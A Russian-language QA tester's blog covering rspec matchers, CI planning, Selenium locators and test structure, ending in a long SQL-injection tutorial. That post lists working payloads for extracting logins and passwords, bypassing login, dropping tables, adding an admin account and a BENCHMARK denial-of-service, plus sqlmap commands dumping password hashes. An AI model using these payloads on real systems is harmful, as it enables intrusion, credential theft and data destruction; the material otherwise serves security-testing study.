среда, 12 декабря 2012 г.

Основы rspec



Как проверить равенство

a.should equal(b) # Для обоих if a.equal? b
a.should be(b) #
a.should eql(b) # passes if a.eql? b
a.should == b # Для обоих if a == b
a.should eq(b) #
аналогично неравенство a.should_not == b
Пример: 

String.should == "this is a string"
[1, 2, 3].should == [1, 2, 3]

Как проверить включение или соотношение

37.should be < 100
37.should be >= 2
"This is a string".should include "str"
# Два одинаковых выражения:
"This is a string".should =~ /^This/
"This is a string".should match(/^This/)

Как проверить истинность выражения

obj.should be_true # Проходит если obj - truе (не nil и не false)
obj.should be_false # Проходит если obj - false (nil или false)
obj.should be_nil # Проходит если obj - nil
obj.should be # Проходит если obj не nil


Как проверить cуществование элемента


[].should be_empty
[].should_not be_empty
test_result.should exist
test_result.should_not exist

Как завершить тест с ошибкой или просто вывести пользовательскую ошибку

expect { 4/2 }.to_not raise_error
expect { 4/0 }.to raise_error
expect { 4/0 }.to raise_error(ZeroDivisionError)
expect { 4/0 }.to raise_error(ZeroDivisionError, "divided by 0")
o.should raise_error 

it "includes 3" do
[1, 2, 3].should include(3), "Oh noes! No three!"
end

Как проверить количество элементов

[1, 2, 3].should have(3).items
[1, 2, 3].should have_exactly(3).items
[1, 2, 3].should have_at_least(2).items
[1, 2, 3].should have_at_most(4).items
[].should be_empty


Подробнее тут и тут

вторник, 11 декабря 2012 г.

CI

AS IS

По каждому пушу происходит деплой сервера (абстрактного) и запускается билд
Если билд еще не прошел то новый не запускается.

TO BE

Вопрос - какую схему выбрать:
1. тестировать проект на тестовом сервере
тогда после каждого пуша будет происходить деплой тествого - не очень удобно.
 2. тестировать на нашем сервере селениум - для этого надо там поднять проект. И аналогично запускать деплой по каждому пушу. (Нашему или программистов?? Скорее второе) Опять же в этом случае приходим к тому, что на тестовом и на сервере селениума будут разные сборки проекта, что не очень здорово

понедельник, 10 декабря 2012 г.

Скриншоты RubySelenium

@driver.save_screenshot("./screen.png")
Такой простой командой мы сохраняем скриншот.
Сохраняется скриншот всей страницы.

Бонус - можно менять размеры окна
@driver.execute_script %Q{window.resizeTo(#{width}, #{height});

ToDo:
1. Складывать скриншоты отдельно от репозитория
2. Генерить имя скриншота в формате дата+текущее временя
3. Периодически чистить папки со скриншотами (лучше бы  по крону)
4. Написать аналогичный faq по видео

пятница, 7 декабря 2012 г.

Думки

Мне кажется я никогда не дойду до логического конца в поисках идеального шаблона для наших автотестов...

Изначально я долго долго выбирала что же взять за основу - rspec, cucumber, capybara и тд - пришла к выводу что одного rspeca более чем хватит

Дальше Николай Алименков со своим докладом подтолкнул меня к мысли разделять логику данные и реализации. Активно занялась этим вопросом. Rspec это вполне позволяет делать.

Далее я начала копать в сторону локаторов - поняла что надо юзать page-object. Так же узнала про такие вещи как Page Factory, Element Object

Ну и из последних полезных вещей я наткнулась на генераторы случайных данных - такие как Выдумщик, Рыба, Ffaker - очень классная штука кстати.

Еще в обязательном порядке хочу использовать логирование, протоколирование, обработку ошибок... Пока с этим как то тяжко...

вторник, 4 декабря 2012 г.

Особенности selenium


Элементы теста:
  1. Приложение - драйвер
  2. Тестовая логика (описание)
    -предусловия
    -сценарии
    -постусловия
  3. Технические детали (код)
  4. Тестовые данные

Основные принципы:
  1. Повторное использование кода
  2. Атомарные тесты
  3. DSL - разбиение на тестовую логику и технические детали (логика не зависит ни от переменных, ни от реализации)
  4. Справочник доменных понятий
Локаторы:

В отличае от сахи нет разделения на веб-элементы (span,textarea и тд)

Selenium предлагает семь встроенных способов поиска элементов:

Простые локаторы
  • по идентификатору элемента (значению атрибута id)
  • element = driver.find_element(:id, 'some-frame')
  • по имени элемента (значению атрибута name)
  • element = driver.find_element(:name, 'q')
  • по классу элемента(значению атрибута class)
  • element = driver.find_element(:class, 'news') (или по class_name)
    element = driver.find_element(:class_name, 'news') 
  • по тексту ссылки
  • element = driver.find_element(:link, "Зарегистрироваться") (или по link_text)
    element = driver.find_element(:link_text, "Зарегистрироваться")
    element = driver.find_element(:partial_link_text, "Регистрация") (ищется вхождение в текст ссылки)
  • по названию тега элемента
  •  element = driver.find_element(:tag_name, 'td') 
Сложные локаторы
  • по запросу XPath
  • element = driver.find_element(:xpath, "//div[@id='content']/*/span")
    element = driver.find_element(:xpath, "/html/body/div") - ищем от корня
    element = driver.find_element(:xpath, "//input") - ищем по всем вложениям элемент input
    element = driver.find_element(:xpath, "//*[@id=menu]") - ищем любой элемент с id menu
    element = driver.find_element(:xpath, "//menu")
    element = driver.find_element(:xpath, "//span[@class=test and @name=span]") и 
  • element = driver.find_element(:xpath, "//span [@class=test][@name=span]") или
  • element = driver.find_element(:xpath, "//a[text()='some text']")
    element = driver.find_element(:xpath, "//div[1]") или
    element = driver.find_element(:xpath, "//div[position()=1]")
    element = driver.find_element(:xpath, "//div[@id='test' and contains()='text']")
    element = driver.find_element(:xpath, "//div[@id='it']/*/a[counts()=1]")
    element = driver.find_element(:xpath, "/descendant::div[@id='my']/descendant::a[1]")
    Ищем среди потомков документы див my, а среди его потомков первую ссылку
    element = driver.find_element(:xpath, "//a[ancestor::div[@id='my']]")
    Ищем ссылку с родителем div (c id my)
  • element = driver.find_element(:xpath, "//*[contains(text(),'ABC')]")
  • по селектору CSS
  • обращаемся к элементам
  • element = driver.find_element(:css, "span.toolbar-link") по классу
    element = driver.find_element(:css, "span#news_class") по id
    element = driver.find_element(:css, "p") по тегу - находим все элементы p
    element = driver.find_element(:css, "*") все элементы на странице
  • обращается по атрибутам
  • element = driver.find_element(:css, "div[class=toolbar_menu]") полное совпадение
    element = driver.find_element(:css, "div[class^=toolbar]") начинается с
    element = driver.find_element(:css, "div[class$=menu]") оканчивается на
    element = driver.find_element(:css, "div[class]") div у которого есть атрибут class
    element = driver.find_element(:css, "div[class*=bar]") содержит текст
  • отношения элементов друг к другу
  • element = driver.find_element(:css, "div a") ищем все ссылки в дивах (все потомки в любой вложенности)
    element = driver.find_element(:css, "div > a") ищем ссылки в дивах (непосредственный потомки - между ними не должно быть других элементов)
    element = driver.find_element(:css, "div + div") ищем элемент сразу за элементом (между ними не должно быть других элементов)
    element = driver.find_element(:css, "div ~ div") ищем элемент за элементом (между ними могут быть другие элементы)
    element = driver.find_element(:css, "div:contains('text')") div содержит текст
    element = driver.find_element(:css, "div#menu a:nth-of-type(1)") Первая ссылка в диве с id menu
    element = driver.find_element(:css, "span[name=hello][background=green]") Ищем элемент  с 2 атрибутами
Метод, начинающийся со слов findElement находит первый элемент, удовлетворяющий условиям поиска, а метод, начинающийся с findElements – все подходящие элементы

Подробнее про локаторы для руби тут
Отличный вебинар по локаторам от Михаила Поляруша - ссылка
Подробнее про локаторы вцелом тут и тут
Про то как правильно подбирать локаторы - подробнее

Команды

вторник, 20 ноября 2012 г.

Как правильно писать тесты на RSpec?


Структура описания теста

Первое, что хочется отметить – это то, что блоки “описания” (describe) могут и должны быть вложенными, это позволяет достаточно подробно структурировать тест. При написании теста я всегда руководствуюсь тем, что при запуске rspec с ключом “-f s” должна отображаться готовая спецификация к тесту. Поэтому в блоке “описания” я описываю одну конкретную функцию, которая должна быть реализована (например, “сохраняет новую статью в базе данных”).

Обычно в первую очередь я создаю структур теста содержащего только блоки “описания” (describe), а только потом эти блоки наполняю их конкретными предположениями (блоками IT). Вот пример такой структуры:
describe "Article" do 
describe "структура" do
end

describe "сохранение статьи в БД" do
end

describe "удаление из БД по заданному ID" do
end

describe "поиск статьи по заданному id в БД" do
end
end

После того, как основные функции класса описаны, я перехожу к описанию “предположений” (блокам IT) в которых отражаются конкретные особенности функционирования класса. Здесь так же в первую очередь идет описание всех “предположений”, без реализации:

describe "Article" do
describe "структура" do
it "должна содержать поле title"
it "должна содержать поле content"
end
describe "сохранение статьи в БД" do
it "при длине поля title более 255 символов должно выбрасываться исключение"
it "при пустом поле title должно выбрасываться исключение"
it "при длине поля content более 65535 символов должно выбрасываться исключение"
it "при пустом поле content должно выбрасываться исключение"
it "при наличии в поле content стоп слов должно выбрасываться исключение"
it "при успешном сохранении статьи должен возвращаться объект типа Article"
end
describe "удаление из БД по заданному ID" do
it "при успешном удалении должно возвращаться значение TRUE"
it "при не успешном удалении должно выбрасываться исключение"
end
describe "поиск статьи по заданному id в БД" do
it "для существующего ID должен возвращаться объект Article"
it "для несуществующего ID должно выбрасываться исключение"
end
end

Хочу обратить внимание, что на данном этапе блоки IT не имеют реализации, поэтому при запуске теста они будут помечены как “(PENDING: Not Yet Implemented)”. В итоге запуск команды “spec -f s ./spec.rb” выдаст следующую спецификацию:

Article структура
- должна содержать поле title (PENDING: Not Yet Implemented)
- должна содержать поле content (PENDING: Not Yet Implemented)
Article сохранение статьи в БД
- при длине поля title более 255 символов должно выбрасываться исключение (PENDING: Not Yet Implemented)
- при пустом поле title должно выбрасываться исключение (PENDING: Not Yet Implemented)
- при длине поля content более 65535 символов должно выбрасываться исключение (PENDING: Not Yet Implemented)
- при пустом поле content должно выбрасываться исключение (PENDING: Not Yet Implemented)
- при наличии в поле content стоп слов должно выбрасываться исключение (PENDING: Not Yet Implemented)
- при успешном сохранении статьи должен возвращаться объект типа Article (PENDING: Not Yet Implemented)
Article удаление из БД по заданному ID
- при успешном удалении должно возвращаться значение TRUE (PENDING: Not Yet Implemented)
- при не успешном удалении должно выбрасываться исключение (PENDING: Not Yet Implemented)
Article поиск статьи по заданному id в БД
- для существующего ID должен возвращаться объект Article (PENDING: Not Yet Implemented)
- для несуществующего ID должно выбрасываться исключение (PENDING: Not Yet Implemented)

После того как спецификация получена, можно приступать к конкретной реализации теста.

Со структурой вроде понятно, остается вопрос, что должно попасть в тест, а что нет. Достаточно ответить на четыре вопроса, чтобы получить тест, позволяющий создать нормальный тест.

Вопросы следующие:
Какие данные должны содержаться?
Какие действия должны выполняться над этими данными?
Какие результаты должны быть получены?
Какой результат должен быть получен в случае ошибки во входных данных?

Из описания теста, указанного выше, видно, что на первый вопрос ответ дается в разделе “Article структура”, на второй вопрос отвечают названия всех остальных блоков describe, а не третий и четвертый вопросы отвечает содержимое блоков IT.

воскресенье, 18 ноября 2012 г.

Поднимаем сервер непрерывной интеграции

Selenium WebDriver – это не инструмент для автоматизации тестирования.
Итак, что такое Selenium WebDriver?

По назначению Selenium WebDriver представляет собой драйвер браузера, то есть программную библиотеку, которая позволяет разрабатывать программы, управляющие поведением браузера.

По своей сущности Selenium WebDriver представляет собой:
  • спецификацию программного интерфейса для управления браузером,
  • референсные реализации этого интерфейса для нескольких браузеров,
  • набор клиентских библиотек для этого интерфейса на нескольких языках программирования.

Теперь понятно, почему бессмысленно сравнивать Selenium WebDriver с «другими инструментами тестирования». Selenium WebDriver – это драйвер браузера

Драйвер-  это такая маленькая программа, точнее программная библиотека, которая позволяет другим программам взаимодействовать с некоторым устройством. Они работают с прикладными программами, которые, посредством драйверов, взаимодействуют с теми или иными устройствами. Драйвер не имеет пользовательского интерфейса. Драйвер имеет только программный интерфейс, его назначение состоит в том, чтобы дать возможность прикладным пользовательским программам взаимодействовать с устройством.

Так вот, Selenium WebDriver, или просто WebDriver – это драйвер браузера, то есть не имеющая пользовательского интерфейса программная библиотека, которая позволяет различным другим программам взаимодействовать с браузером, управлять его поведением, получать от браузера какие-то данные и заставлять браузер выполнять какие-то команды.

Исходя из этого определения, ясно, что WebDriver не имеет прямого отношения к тестированию. Он всего лишь предоставляет автотестам доступ к браузеру. На этом его функции заканчиваются.

Структурирование, группировку и запуск тестов, а также генерацию отчётов о тестировании, обеспечивает фреймворк тестирования в нашем случае RSpec или Cucumber для Ruby. Разработка тестов ведётся в среде RubyMine (либо любой текстовый редактор). Запуск тестов по расписанию и публикацию отчётов выполняет сервер непрерывной интеграции – CruiseControl. И всё это – самостоятельные инструменты, не имеющие отношения к проекту Selenium.


Впрочем, в рамках проекта Selenium разрабатывается не только драйвер, но ещё несколько сопутствующих продуктов – Selenium Server позволяет организовать удалённый запуск браузера, при помощи Selenium Grid можно построить кластер из Selenium-серверов. Они встают в один ряд с вышеперечисленными инструментами и фреймворками, потому что также участвуют в построении системы запуска тестов. Кроме того, имеется «рекордер», который называется Selenium IDE, он умеет записывать действия пользователя и генерировать код, в котором используется интерфейс WebDriver для выполнения записанных действий.

Популярные фреймворки для проектирования тестов позволяют наряду с другими драйверами использовать WebDriver. Среди таких фреймворков можно упомянуть Capybara

Серверная сторона вопроса

Для запуска интеграционных тестов потребуется:
1. Некоторая виртуальная машина ОС debian (Command-line interfaces), на которой установлено все необходимое для запуска нашего кода ПО (ruby, postgresql-client, libxml2, libxslt и т.д.)
2. Доступ до БД (для каждого проекта должна существовать некоторая пустая база)
3. X-сервер - (обеспечивает доступ по VNC к среда рабочего стола или GUI)
4. Firefox или Chrome
5. git
6. Место, куда можно склонировать из гита проекты

Нужно также учесть, что вскоре эти интеграционные тесты будут собираться на серверах интеграции. Возможно, эту машину стоит сразу рассматривать как будущий сервер непрерывной интеграции.

четверг, 25 октября 2012 г.

Sql -инъекции


SQL-инъекция — это атака, направленная на веб-приложение, в ходе которой конструируется SQL-выражение из пользовательского ввода  (например, $query="SELECT * FROM users WHERE id=".$_REQUEST["id"]). В случае успеха атакующий может изменить логику выполнения SQL-запроса так, как это ему нужно. Чаще всего он выполняет простой fingerprinting СУБД, а также извлекает таблицы с наиболее "интересными" именами (например "users"). После этого, в зависимости от привилегий, с которыми запущено уязвимое приложение, он может обратиться к защищенным частям бэк-энда веб-приложения (например, прочитать файлы на стороне хоста или выполнить произвольные команды).

Есть пять основных классов SQL-инъекций:
  1. UNION query SQL injection. Классический вариант внедрения SQL-кода, когда в уязвимый параметр передается выражение, начинающееся с "UNION ALL SECECT". Эта техника работает, когда веб-приложения напрямую возвращают результат вывода команды SELECT на страницу: с использованием цикла for или похожим способом, так что каждая запись полученной из БД выборки последовательно выводится на страницу. Sqlmap может также эксплуатировать ситуацию, когда возвращается только первая запись из выборки (Partial UNION query SQL injection).
  2. Error-based SQL injection. В случае этой атаки сканер заменяет или добавляет в уязвимый параметр синтаксически неправильное выражение, после чего парсит HTTP-ответ (заголовки и тело) в поиске ошибок DBMS, в которых содержалась бы заранее известная инъецированная последовательность символов и где-то "рядом" вывод на интересующий нас подзапрос. Эта техника работает только тогда, когда веб-приложение по каким-то причинам (чаще всего в целях отладки) раскрывает ошибки DBMS.
  3. Stacked queries SQL injection. Сканер проверяет, поддерживает ли веб-приложение последовательные запросы, и, если они выполняются, добавляет в уязвимый параметр HTTP-запроса точку с запятой (;) и следом внедряемый SQL-запрос. Этот прием в основном используется для внедрения SQL-команд, отличных от SELECT, например для манипуляции данными (с помощью INSERT или DELETE). Примечательно, что техника потенциально может привести к возможности чтения/записи из файловой системы, а также выполнению команд в ОС. Правда, в зависимости от используемой в качестве бэк-энда системы управления базами данных, а также пользовательских привилегий.
  4. Boolean-based blind SQL injection. Реализация так называемой слепой инъекции: данные из БД в "чистом" виде уязвимым веб-приложением нигде не возвращаются. Прием также называется дедуктивным. Sqlmap добавляет в уязвимый параметр HTTP-запроса синтаксически правильно составленное выражение, содержащее подзапрос SELECT (или любую другую команду для получения выборки из базы данных). Для каждого полученного HTTP-ответа выполняется сравнение headers/body страницы с ответом на изначальный запрос — таким образом, утилита может символ за символом определить вывод внедренного SQL-выражения. В качестве альтернативы пользователь может предоставить строку или регулярное выражение для определения "true"-страниц (отсюда и название атаки). Алгоритм бинарного поиска, реализованный в sqlmap для выполнения этой техники, способен извлечь каждый символ вывода максимум семью HTTP-запросами. В том случае, когда вывод состоит не только из обычных символов, сканер подстраивает алгоритм для работы с более широким диапазоном символов (например для unicode’а).
  5. Time-based blind SQL injection. Полностью слепая инъекция. Точно так же как и в предыдущем случае, сканер "играет" с уязвимым параметром. Но в этом случае добавляет подзапрос, который приводит к паузе работы DBMS на определенное количество секунд (например, с помощью команд SLEEP() или BENCHMARK()). Используя эту особенность, сканер может посимвольно извлечь данные из БД, сравнивая время ответа на оригинальный запрос и на запрос с внедренным кодом. Здесь также используется алгоритм двоичного поиска. Кроме того, применяется специальный метод для верификации данных, чтобы уменьшить вероятность неправильного извлечения символа из-за нестабильного соединения.

Несмотря на то что сканер умеет автоматически эксплуатировать найденные уязвимости, нужно детально представлять себе каждую из используемых техник. Рекомендую прочитать мануал Дмитрия Евтеева "SQL Injection: От А до Я". Важно также понимать, что для разных DBMS реализации атаки зачастую сильно отличаются.

КАК НАЙТИ SQL INJECTION

Адресная строка

Допишем в адресной строке кавычку в переменную "id", вот так 
http://xxx/news.php?id=1' 
http://xxx/news.php?id=1"
http://xxx/news.php?id=1 order by 1000 
http://xxx/news.php?id=1'/* 
http://xxx/news.php?id=1'# 
http://xxx/news.php?id=1 AND 1=1
http://xxx/news.php?id=1 AND 1=2
http://xxx/news.php?id=1' AND '1'='1
Если включены сообщения об ошибках то вылезет что то наподобие:
mysql_query(): You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' 
Если этого сообщения нет то есть три варианта:

1. Кавычка фильтруется
2. Отключен отчет об ошибках
3. Здесь нет иньекции

Чтобы определить то, что кавычка фильтруется, можно вписать
http://xxx/news.php?id=1 blablabla
БД не поймет что это за бла бла бла и выдаст сообщение об ошибке типа:
mysql_query(): You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1 blablabla
Если отчет об ошибках выключен тогда проверяем вот так 
http://xxx/news.php?id=1 -- 
Должно отобразиться точно также как и http://xxx/news.php?id=1

ЧТО И КАК МОЖНО ИЗВЛЕЧЬ ИЗ ЭТОГО ПОЛЕЗНОЕ

Узнаем структуру БД

Модифицируем обращение к скрипту 
http://xxx/news.php?id=1' UNION SELECT 1 -- 
Запрос к БД у нас получается вот таким: 
SELECT * FROM news WHERE id='1' UNION SELECT 1 --  
Количество столбцов до UNION и после должны соответствовать, и вылезет ошибка (если только в таблице news не одна колонка) типа:
mysql_query(): The used SELECT statements have a different number of columns
Нам нужно подобрать количество столбцов (что бы их количество до UNION и после соответствовало). Делаем методом подбора:
http://xxx/news.php?id=1' UNION SELECT 1,2,3,4,5,6 --
Если отобразилось точно также как и http://xxx/news.php?id=1
значит количество полей подобрано, то есть их 6 штук.

Чтобы ускорить метод подбора можно использовать запросы Group by
http://xxx/news.php?id=1' GROUP BY 2 --
Будет отображен без ошибок если количество полей меньше или равно 2.

Тот же самый принцип используется в функции ORDER BY. И немного меняется текст ошибки если полей больше.

Далее нам нужно узнать имя таблицы – можно включить перебор
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 FROM Имя_таблицы -- 
до тех пор пока не пропадет сообщение об ошибке типа:
mysql_query(): Table 'Имя_таблицы' doesn't exist
Ну ввели мы, к своему счастью, Users, пропало сообщение об ошибке, и страница отобразилась как при http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 –

что это значит? Это значит то, что существует таблица Users и нужно приступить к перебору столбцов.
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,Имя_столбца,5,6 FROM Users --
Нужно подбирать Имя_столбца до тех пор пока не пропадет сообщение об ошибке типа:
mysql_query():Unknown column 'Имя_столбца'' in 'field list'
Там где пропадает сообщение об ошибке значит такой столбец существует.

И вот таким образом мы узнали что в таблице Users есть столбцы login, password.

Для этих же целей можно использовать ряд инструментов. Я попробовала SQLMAP.


Используем полученные знания

Обращение к скрипту таким образом 
http://xxx/news.php?id=-1' UNION SELECT 1,2,login,password,5,6 FROM Users LIMIT 0,1 – 
Выводит нам логин и пароль первого юзера из таблицы Users.

В окне ввода чего-нибудь куда-нибудь вводим запросы


Name вводим = admin’ –
Пароль вводим = password 
Получаем запрос
 SELECT * FROM users WHERE login='Admin' -- ' AND pass='123'
Name вводим = admin
Пароль вводим = password' OR login='Admin' –
Получаем запрос
 SELECT * FROM users WHERE (login='Admin' AND pass='123') OR (login='Admin')
Name вводим = admin
Pass=% (сработает если запрос написан с использованием оператора LIKE)

Зная структуру БД

Name вводим = ‘; INSERT INTO user (user, password) VALUES (‘admin’, ‘pass’) –

Name вводим = ‘; DROP TABLE user –


DOS атака на SQL сервер

Функция BENCHMARK выполняет одно и тоже действие несколько раз.

SELECT BENCHMARK(100000,md5(current_time))

А если попробовать вложенный BENCHMARK?

SELECT BENCHMARK(100000, BENCHMARK(100000,md5(current_time)))

Выполняется очень долго
http://xxx/news.php?id=-1' UNION SELECT 1, 2, BENCHMARK(100000,BENCHMARK(100000,md5(current_time ))), 4, 5, 6 --

SQLmap

Sqlmap - open-source утилита для поиска и эксплуатации SQL инъекций. Поддерживает такие сервера БД, как: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase, SAP MaxDB.

Sqlmap написан на python, а значит превосходно работает на большинстве современных операционных систем. (Предварительно убедитесь у вас установлен питон >2.6 <3.0)

Типичное использование сводится к строчке:
python sqlmap.py -u "http://example.com/index.php?action=news&id=1" 
Детально изучить утилиту поможет официальное пользовательское руководство.


Основные возможности:

  1. Поддержка MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase и SAP MaxDB.
  2. Поддержка следующих типов инъекций: boolean-based blind, time-based blind, error-based, UNION query и stacked queries. (Подробнее)
  3. Возможность подключиться к БД напрямую, используя логин, пароль, ip, порт и имя базы.
  4. Работа с конкретным url, со списком целей из Burp proxy или WebScarab proxy, с текстовым файлом, содержащим HTTP запрос или же прямо из поисковой системы Google.
  5. Тестирование всех параметров, передаваемых методами GET и POST, через cookie, в заголовках User-agent и Referer и попытка их эксплуатирования. Так же вы можете задать какой-то один определенный параметр(ы) для проверки.
  6. Опциональная многопоточность, которая позволяет сильно ускорить проведение слепых инъекций, или же наоборот, ограничить количество запросов на определенный промежуток времени. Множество вариантов оптимизации для ускорения.
  7. Возможность передавать cookie, что позволяет проходить авторизацию на тестируемом приложении или же тестировать cookie на sql уязвимости.
  8. Принимать и хранить в сессии cookie, которые были установлены самим приложением, а так же пытаться их эксплуатировать. При желании можно игнорировать заголовок set-cookie.
  9. Аунтефикация по протоколу HTTP basic, Digest, NTLM или с помощью сертификата.
  10. Работа через прокси.
  11. Возможность задать произвольные заголовки User-agent и Referer, или же выбрать User-agent случайно из текстового файла.
  12. Возможность изменять уровень информативности выходных сообщений (всего 7 уровней).
  13. Парсинг форм, находящихся по целевому адресу, с целью повторной отправки запроса на принимающий скрипт формы (action) и тестирование параметров формы.
  14. Гибкость в настройки и использовании.
  15. Расчетное время для каждого запроса, который обновляется в реальном времени и позволяет пентестеру знать, сколько времени потребуется для получения ответа.
  16. Автоматически сохраняет сессии (запросы и ответы, даже частично полученные) в текстовом виде и в реальном времени. Это позволяет продолжить инъекцию или другое действие сразу же, после парсинга сессии и не повторять запросы на атакуемое приложение.
  17. Возможность читать все параметры из текстового файла, а не вводить их в ручную каждый раз.
  18. Поддержка репликации БД сервера на локальную БД sqlite3.
  19. Обновление до актуальной версии из репозитория.
  20. Парсинг ответов с целью найти и показать сообщения об ошибках БД.
  21. Интеграция с другими инструментами для пентеста — Metasploit и w3af.

Возможности fingerprint (получения полезной информации о приложении и сервере):

  1. Определение версии и наименования БД, а также операционной системы, на которой запущено приложение. Анализ основывается на сообщениях об ошибках, баннере сервиса, и способом сравнения. Вы можете задать имя используемой БД в ручную, если вы его знаете.
  2. Программное обеспечение веб сервера и приложения.
  3. Возможность получить баннер, получить информацию о текущей БД и ее пользователе, а также о привилегиях текущего пользователя.
  4. Список пользователей БД, их привилегии, хэши паролей.
  5. Автоматическое распознавание формата хэшей паролей и возможность прогнать их по словарю, который прилагается вместе с sqlmap.
  6. Брут имен таблиц и столбцов. Это бывает полезным, когда у текущего пользователя нет доступа к системным таблицам или таких таблиц вообще нет.
  7. Возможность сделать дамп таблиц целиком, определенных колонок. Возможно сделать дамп только определенный диапазон символов для каждого столбца.
  8. Дамп всех БД целиком, с возможностью задать исключение.
  9. Поиск конкретных таблиц или колонок во всех таблицах и баз данных. Это полезно для поиска таблиц с пользователями или паролями.
  10. Возможность вызвать интерактивный sql клиент, который позволит вам выполнять произвольные запросы к БД вручную. Sqlmap сам побеспокоится о том, чтобы упаковать ваш запрос и выполнить его через найденную уязвимость.

Возможности расширения контроля над системой:

  1. Возможность скачивать файлы с сервера, при условии, что в качестве бэкенда используется MySQL, PostgeSQL или Microsoft SQL Server. Разумеется, для этих операций пользователь БД должен иметь особые привилегии и права на запись/чтение нужного файла.
  2. Выполнение произвольных команд на системе с получением их вывода, при условии, что используются MySQL, PostgeSQL или Microsoft SQL Server.
  3. Создание tcp подключения к серверу с помощью интерактивной командной строки или VNC.
  4. Доступ к реестру windows (Чтение, вставка, удаление).


Несколько практических примеров

В самом простом варианте sqlmap можно запустить так:
python sqlmap.py -u http://sitefortest.kz/index.php?id=17
Этого будет достаточно для того, чтобы sqlmap начал свою тяжелую работу. Как можно легко догадаться, ключ -u задает адрес нашей цели. Сканер произведет запрос по заданному урл и будет анализировать все параметры, которые
мы указали в ссылке (id=17). Но давайте добавим немного полезных фич:
python sqlmap.py -u http://sitefortest.kz/index.php?id=17 --data="p1=17&p2=0" --random-agent --cookie="PHPSESSID=6993b496e105a565b2b659bbf7751c41" --auth-type Basic --auth-cred "user:password" --threads 3 --os="Linux"
Рассмотрим все параметры, используемые в этом запросе:
--data=«p1=17&p2=0» — мы отправили еще два параметра методом POST. Теперь sqlmap протестирует и их тоже.
--random-agent — Вместо дефолтного юзерагента будет случайным образом выбран правдоподобный. Список юзерагентов лежит в файле txt/user-agents.txt. Это очень полезно, когда надо обойти простенькую IDS или же при работе через гугл, который будет банить нас, если заметит дефолтный юзерагент sqlmap.
--cookie=«PHPSESSID=6993b496e105a565b2b659bbf7751c41» — передаем нашу php сессию, которая хранится в файлах cookie.
--auth-type Basic — указываем, что на сервере потребуется Basic аунтефикация.
--auth-cred «user:password» — и передаем данные для авторизации: логин и пароль.
--threads 3 — выполнять 3 запроса параллельно.
--os=«Linux» — Когда мы точно знаем, какая ОС используется на сервере, ее лучше указать, чтобы облегчить работу sqlmap. Но вы должны быть уверены на 100%, иначе sqlmap пойдет по ложному следу.


Теперь посмотрим на работу нашего сканера. Вывод обрезан, оставлена лишь самая интересная часть, при этом дополнено комментариями (/**/).:
[*] starting at: 04:04:35
[04:04:35] [INFO] using
'/home/lirvux/work/hack/sqlmap/output/www.sitefortest.kz/session' as session file
[04:04:35] [INFO] testing connection to the target url
[04:04:37] [INFO] testing NULL connection to the target url
[04:04:39] [WARNING] the testable parameter 'id' you provided is not into
the Cookie
[04:04:39] [INFO] testing if the url is stable, wait a few seconds
— — [04:04:41] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and
provide a string or regular expression to match on
how do you want to proceed? [©ontinue/(s)tring/®egex/(q)uit] c
/*Sqlmap сообщает, что ссылка не является стабильной и предупреждает нас о том,
* что для сравнения результатов запросов ему возможно потребуется задать строку
* (s) или регулярное выражение ®, по которому он сможет ориентироваться. Но
* можно попытаться и без этого, выбрав продолжить ©*/
[04:06:22] [INFO] heuristic test shows that GET parameter 'id' might be
injectable (possible DBMS: MySQL)
/*sqlmap предположил, что в качестве бекенда используется MySQL*/
[04:06:22] [INFO] testing sql injection on GET parameter 'id'
[04:06:22] [INFO] testing 'AND boolean-based blind — WHERE or HAVING clause'
[04:06:28] [INFO] testing 'MySQL >= 5.0 AND error-based — WHERE or HAVING
clause'
[04:06:28] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based — WHERE or HAVING clause' injectable 
[04:06:28] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[04:06:29] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[04:06:35] [INFO] testing 'MySQL UNION query (NULL) — 1 to 10 columns'
[04:06:39] [INFO] testing 'Generic UNION query (NULL) — 1 to 10 columns'
GET parameter 'id' is vulnerable. Do you want to keep testing the others?
[y/N] N
/*Проведя некоторые тесты нам удалось узнать, что параметр id уязвим. Мы
* можем продолжить анализировать другие параметры (y) или же начать
* эксплуатировать найденную уязвимость (N)*/
sqlmap identified the following injection points with a total of 33 HTTP(s)
requests:
— Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based — WHERE or HAVING clause
Payload: &id=51 AND (SELECT 4188 FROM(SELECT COUNT(*),CONCAT(CHAR(58,100,115,116,58),(SELECT (CASE WHEN (4188=4188) THEN 1 ELSE 0 END)),CHAR(58,108,116,101,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
/*Выше мы видим запрос, который сформировал sqlmap, а ниже видим информацию о
* БД и сервере, которую sqlmap смог получить для нас*/
[04:06:53] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.10 (Maverick Meerkat)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL 5.0
[04:06:53] [INFO] Fetched data logged to text files under '/home/lirvux/work/hack/sqlmap/output/sitefortest.kz'
[*] shutting down at: 04:06:53<

Теперь давайте получим больше информации о системе и узнаем, какими же правами мы обладаем:
python sqlmap -u http://sitefortest.kz/index.php?id=17 --current-user --current-db -b --users --privileges --passwords
Так как мы уже нашли инъекцию, мы можем не указывать лишние параметры для их поиска, но такие, как юзерагент или данные для авторизации необходимо указывать при каждом запросе (ну или писать их в конфигурационном файле sqlmap.conf). Я же их опустил для простоты.

--current-user — текущий пользователь, который работает с БД .
--current-db — текущая база данных.
-b — запрос на баннер.
--users — список всех пользователей БД (при условии, что у нас есть права на его чтение)
--priviliges — привилегии пользователей БД
--password — хэши паролей пользователей БД

Вот такой ответ даст нам sqlmap:
[*] starting at: 04:37:39
— — [04:37:42] [INFO] fetching banner
banner: '5.1.49-1ubuntu8'
[04:37:42] [INFO] fetching current user
